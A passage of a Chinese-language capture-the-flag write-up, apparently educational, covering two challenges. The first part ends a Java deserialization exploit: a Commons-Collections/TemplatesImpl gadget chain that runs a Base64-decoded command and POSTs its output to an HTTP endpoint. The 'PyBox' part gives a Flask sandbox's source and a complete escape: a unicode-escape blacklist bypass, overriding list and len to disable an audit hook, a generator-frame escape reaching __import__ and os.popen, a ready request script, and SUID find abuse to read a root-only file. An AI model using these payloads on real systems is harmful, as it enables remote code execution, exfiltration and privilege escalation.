                "        Object rt = cls.getMethod(new String(d.decode(\"Z2V0UnVudGltZQ==\")), new Class[0]).invoke(null, null);\n" +
                "        Process p = (Process) cls.getMethod(new String(d.decode(\"ZXhlYw==\")), new Class[] { String.class })\n" +
                "                .invoke(rt, new Object[] { new String(d.decode(cmdB64)) });\n" +
                "        BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));\n" +
                "        StringBuilder sb = new StringBuilder();\n" +
                "        String l;\n" +
                "        while ((l = r.readLine()) != null) {\n" +
                "            sb.append(l);\n" +
                "        }\n" +
                "        p.waitFor();\n" +
                "        r.close();\n" +
                "        String f = sb.toString();\n" +
                "        String tu = \"http://127.0.0.1:8080/handle\";\n" +
                "        byte[] pdb = (\"data=\" + URLEncoder.encode(f, \"UTF-8\")).getBytes(\"UTF-8\");\n" +
                "        HttpURLConnection c = (HttpURLConnection) new URL(tu).openConnection();\n" +
                "        c.setRequestMethod(\"POST\");\n" +
                "        c.setRequestProperty(\"Content-Type\", \"application/x-www-form-urlencoded\");\n" +
                "        c.setRequestProperty(\"Content-Length\", \"\" + pdb.length);\n" +
                "        c.setDoOutput(true);\n" +
                "        OutputStream os = null;\n" +
                "        try {\n" +
                "            os = c.getOutputStream();\n" +
                "            os.write(pdb);\n" +
                "        } finally {\n" +
                "            if (os != null) {\n" +
                "                try {\n" +
                "                    os.close();\n" +
                "                } catch (Exception closeEx) {}\n" +
                "            }\n" +
                "        }\n" +
                "            c.getResponseCode();\n" +
                "    } catch (Exception ignored) {}\n" +
                "}";
        CtConstructor constructor = CtNewConstructor.make(body, ctClass);
        ctClass.addConstructor(constructor);
        ctClass.writeFile(".");
        byte[] bytecode = ctClass.toBytecode();
        ctClass.defrost();
        return bytecode;
    }

    public static byte[] getPayload() throws Exception {
        byte[] bytecode = getBytecode();

        TemplatesImpl tpl = new TemplatesImpl();
        setFieldValue(tpl, "_bytecodes", new byte[][] { bytecode });
        setFieldValue(tpl, "_name", "NOT NULL");

        Transformer transformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { tpl });

        Transformer fakeTransformer = new ConstantTransformer(1);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, fakeTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, TrAXFilter.class);
        Map map = new HashMap();
        map.put(tiedMapEntry, "value");

        outerMap.remove(TrAXFilter.class);

        setFieldValue(outerMap, "factory", transformer);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(map);
        oos.close();

        return baos.toByteArray();
    }
}

现在生成的 Payload 长度只有 4848

发送到 /deserialize 接口,访问 /show 接口即可看到 flag

iamge-8.png

PyBox

响应头显示 Python/3.11.9。根路由给出了源码:

from flask import Flask, request, Response
import multiprocessing
import sys
import io
import ast

app = Flask(__name__)


class SandboxVisitor(ast.NodeVisitor):
    forbidden_attrs = {
        "__class__", "__dict__", "__bases__", "__mro__", "__subclasses__",
        "__globals__", "__code__", "__closure__", "__func__", "__self__",
        "__module__", "__import__", "__builtins__", "__base__"
    }

    def visit_Attribute(self, node):
        if isinstance(node.attr, str) and node.attr in self.forbidden_attrs:
            raise ValueError
        self.generic_visit(node)

    def visit_GeneratorExp(self, node):
        raise ValueError


def sandbox_executor(code, result_queue):
    safe_builtins = {
        "print": print,
        "filter": filter,
        "list": list,
        "len": len,
        "addaudithook": sys.addaudithook,
        "Exception": Exception
    }
    safe_globals = {"__builtins__": safe_builtins}

    sys.stdout = io.StringIO()
    sys.stderr = io.StringIO()

    try:
        exec(code, safe_globals)
        output = sys.stdout.getvalue()
        error = sys.stderr.getvalue()
        result_queue.put(("ok", output or error))
    except Exception as e:
        result_queue.put(("err", str(e)))


def safe_exec(code: str, timeout=1):
    code = code.encode().decode('unicode_escape')
    tree = ast.parse(code)
    SandboxVisitor().visit(tree)

    result_queue = multiprocessing.Queue()
    p = multiprocessing.Process(target=sandbox_executor, args=(code, result_queue))
    p.start()
    p.join(timeout=timeout)

    if p.is_alive():
        p.terminate()
        return "Timeout: code took too long to run."

    try:
        status, output = result_queue.get_nowait()
        return output if status == "ok" else f"Error: {output}"
    except:
        return "Error: no output from sandbox."


CODE = """
def my_audit_checker(event,args):
    allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
    if not list(filter(lambda x: event == x, allowed_events)):
        raise Exception
    if len(args) > 0:
        raise Exception
addaudithook(my_audit_checker)
print("{}")
"""

badchars = "\"'|&`+-*/()[]{}_."


@app.route('/')
def index():
    return open(__file__, 'r').read()


@app.route('/execute', methods=['POST'])
def execute():
    text = request.form['text']
    for char in badchars:
        if char in text:
            return Response("Error", status=400)

    output = safe_exec(CODE.format(text))
    if len(output) > 5:
        return Response("Error", status=400)
    return Response(output, status=200)


if __name__ == '__main__':
    app.run(host='0.0.0.0')
  • 代码执行端点: /execute 路径接收一个 POST 请求,参数为 text
  • 字符黑名单: /execute 会检查用户输入的 text 是否包含 "'|&+-*/()[]{}_.` 中的任何字符。如果包含,则返回 400 错误
  • 代码模板: 定义了一个 CODE 字符串模板,用户的 text 输入经过一些检查会被格式化到 print 中
  • 沙箱执行 (safe_exec):
    • Unicode 解码: 对格式化后的完整代码执行 encode().decode('unicode_escape'),这会将 \xNN 这样的 unicode 转义序列转换为对应的字符
    • AST 检查 (SandboxVisitor): 使用 ast 模块解析代码,并通过 SandboxVisitor 检查是否存在对禁用属性(如 __class__, __dict__, __bases__, __subclasses__ 等)的访问,以及是否使用了生成器表达式 (GeneratorExp)。如果发现违规,会抛出 ValueError
    • 子进程执行: 在一个单独的 multiprocessing.Process 子进程中执行代码,以提供操作系统级别的隔离
    • 超时限制: 执行时间限制为 1 秒,超时会终止子进程
    • 受限环境 (sandbox_executor):
      • 重定向输出: 将子进程的 sys.stdoutsys.stderr 重定向到 io.StringIO 以便捕获输出
      • 受限 Builtins: exec 函数执行代码时,只提供一个非常有限的 __builtins__ 字典 (safe_builtins),仅包含 print, filter, list, len, addaudithook, Exception
      • 受限 Globals: exec 函数的 globals 参数被设置为 {"__builtins__": safe_builtins},进一步限制了可访问的全局变量
    • 结果返回: 捕获子进程的输出或错误,并返回给主进程
  • 审计钩子 (my_audit_checker):
    • CODE 模板在执行 print 之前,定义了一个名为 my_audit_checker 的函数,并使用 addaudithook 将其注册为审计钩子
      • 这个钩子只允许 "import", "time.sleep", "builtins.input", "builtins.input/result" 这几个事件。任何其他事件(如 exec, open, 大部分内置函数调用等)都会导致抛出 Exception
      • 即使是允许的事件,如果其参数列表 (args) 的长度大于 0,也会抛出 Exception。这意味着几乎所有带参数的函数调用(甚至 import os,因为 os 是参数)都会被阻止
  • 输出长度限制: /execute 检查 safe_exec 返回的输出。如果输出长度超过 5 个字符,返回 400

绕过检查后在前面加上 "),后面加上 (" 就可以另起多行写任意代码

本地测试先去掉输出长度限制。远程不能用 Exception 直接回显信息,因为 "Error: {}" 长度必超 5

  1. 绕过字符限制

在字符检查过后在 safe_exec 中有一行 Unicode 转义: code = code.encode().decode('unicode_escape') 这意味着我们可以通过 \xNN 这样的形式输入任意字符,包括在 badchars 中的字符

这样转换:

def to_unicode(code: str) -> str:
    BLACKLIST = set(list(r"\"'|&`+-*/()[]{}_."))

    parts = []
    for ch in code:
        if ch in BLACKLIST:
            parts.append("\\u%04x" % ord(ch))
        else:
            parts.append(ch)
    return "".join(parts)

CODE = """")
raise Exception("echo")
"""

print(to_unicode(CODE))
  1. 覆盖允许事件和 len

调试的时候修改钩子函数以查看触发了什么禁止事件以及包含了什么参数:

def my_audit_checker(event,args):
    print('[+] ', event)
    allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
    if not list(filter(lambda x: event == x, allowed_events)):
        raise Exception('Operation not permitted: ' + event)
    if len(args) > 0:
        raise Exception(args)

然后因为 allowed_event 是个列表,所以令 list 是个返回固定数组的函数,使得允许任何想要的事件

同理,len 也可以改成返回 0 的函数

__builtins__['list'] = lambda x: ['import', 'time.sleep', 'builtins.input', 'builtins.input/result','exec', 'compile', 'object.__getattr__']
__builtins__['len'] = lambda x: 0
  1. 栈帧逃逸

因为生成器表达式是用不了的(AST 解析到就抛出异常)。所以用如下代码获取到外部的 __builtins__

def f():
    global x, frame
    frame = x.gi_frame.f_back.f_back.f_globals
    yield
x = f()
x.send(None)
raise Exception(frame)

image-9.png

成功获取到了外部的全局变量。那么就可以执行任意命令了

但是要注意线程运行超了一秒就会被毙掉,所以要尽量减少操作(尝试过把外部 builtins 赋值给里面的,再重新设置 list 和 len,超时了)

raise Exception(frame['__builtins__']['__import__']('os').popen('cat /etc/passwd').read())

结合起来就是:

")
__builtins__['list'] = lambda x: ['import', 'time.sleep', 'builtins.input', 'builtins.input/result','exec', 'compile', 'object.__getattr__']
__builtins__['len'] = lambda x: 0
def f():
    global x, frame
    frame = x.gi_frame.f_back.f_back.f_globals
    yield
x = f()
x.send(None)
print(frame['__builtins__']['__import__']('os').popen('cat /etc/passwd').read())
")

然而上面的代码本地能用,打远程就返回 Error。排查一下错误:

__builtins__['list'] = lambda x: ['import', 'time.sleep', 'builtins.input', 'builtins.input/result','exec', 'compile', 'object.__getattr__']
__builtins__['len'] = lambda x: 0
def f():
    global x, frame
    frame = x.gi_frame.f_back.f_back.f_globals
    yield
x = f()
x.send(None)
if frame['__builtins__']:
    print(1)

这里是正常的,在后面加个 ['__import__'] 就 Error 了。不过再往前回溯一次就有了:

frame = x.gi_frame.f_back.f_back.f_back.f_globals
  1. 输出

输出限制在了 5 个字符以内。可以将命令结果用切片输出。测试知使用以上代码,切片 2 位输出不会超过 5

回显内容前后有换行符会占长度,需要实际测试修正

import requests

def to_unicode(code: str) -> str:
    BLACKLIST = set(list(r"\"'|&`+-*/()[]{}_."))

    parts = []
    for ch in code:
        if ch in BLACKLIST:
            parts.append("\\u%04x" % ord(ch))
        else:
            parts.append(ch)
    return "".join(parts)

CODE = r"""")
__builtins__['list'] = lambda x: ['import', 'time.sleep', 'builtins.input', 'builtins.input/result','exec', 'compile', 'object.__getattr__']
__builtins__['len'] = lambda x: 0
def f():
    global x, frame
    frame = x.gi_frame.f_back.f_back.f_back.f_globals
    yield
x = f()
x.send(None)
print(frame['__builtins__']['__import__']('os').popen('CMD').read()[N1:N2])
("\""""

URL = "http://127.0.0.1:3000/execute"
COMMAND = r"ls -l /"

result = ""

for i in range(0, 50, 2):
    resp = requests.post(URL, data={"text": to_unicode(CODE.replace("CMD", COMMAND).replace("N1", str(i)).replace("N2", str(i + 2)))})
    output = resp.text[1:-1]
    print(output)
    result += output

print(result)

根目录有个 m1n1FL@G,没权限读,但是可以读 entrypoint.sh

-rwxr-xr-x   1 root root  272 May  1 16:15 entrypoint.sh
-rw-------   1 root root  101 May  7 07:33 m1n1FL@G
#!/bin/sh
echo $FLAG > /m1n1FL@G
echo "\nNext, let's tackle the more challenging misc/pyjail">> /m1n1FL@G
chmod 600 /m1n1FL@G
chown root:root /m1n1FL@G
chmod 4755 /usr/bin/find
useradd -m minilUser
export FLAG=""
chmod -R 777 /app
su minilUser -c "python /app/app.py"

4755 权限即 rwsr-xr-x。前面的 4 表示 SUID,find 通常是 root 用户所有的,所以运行 find 时是以 root 用户运行

那么这样就可以读取 flag 了:

find / -name m1n1FL@G -exec cat {} \;

完整代码:

import requests

def to_unicode(code: str) -> str:
    BLACKLIST = set(list(r"\"'|&`+-*/()[]{}_."))

    parts = []
    for ch in code:
        if ch in BLACKLIST:
            parts.append("\\u%04x" % ord(ch))
        else:
            parts.append(ch)
    return "".join(parts)

CODE = r"""")
__builtins__['list'] = lambda x: ['import', 'time.sleep', 'builtins.input', 'builtins.input/result','exec', 'compile', 'object.__getattr__']
__builtins__['len'] = lambda x: 0
def f():
    global x, frame
    frame = x.gi_frame.f_back.f_back.f_back.f_globals
    yield
x = f()
x.send(None)
print(frame['__builtins__']['__import__']('os').popen('CMD').read()[N1:N2])
("\""""

URL = "http://127.0.0.1:3000/execute"
COMMAND = r"find / -name m1n1FL@G -exec cat {} \;"

result = ""

for i in range(0, 50, 2):
    resp = requests.post(URL, data={"text": to_unicode(CODE.replace("CMD", COMMAND).replace("N1", str(i)).replace("N2", str(i + 2)))})
    output = resp.text[1:-1]
    print(output)
    result += output

print(result)

flag 是带 emoji 的。之前用的 shell 命令切片 tr -d "\n" | cut -c 1-2 切到 emoji 时服务器会返回 error。改用 Python 的字符串切片就正常了

image-10.png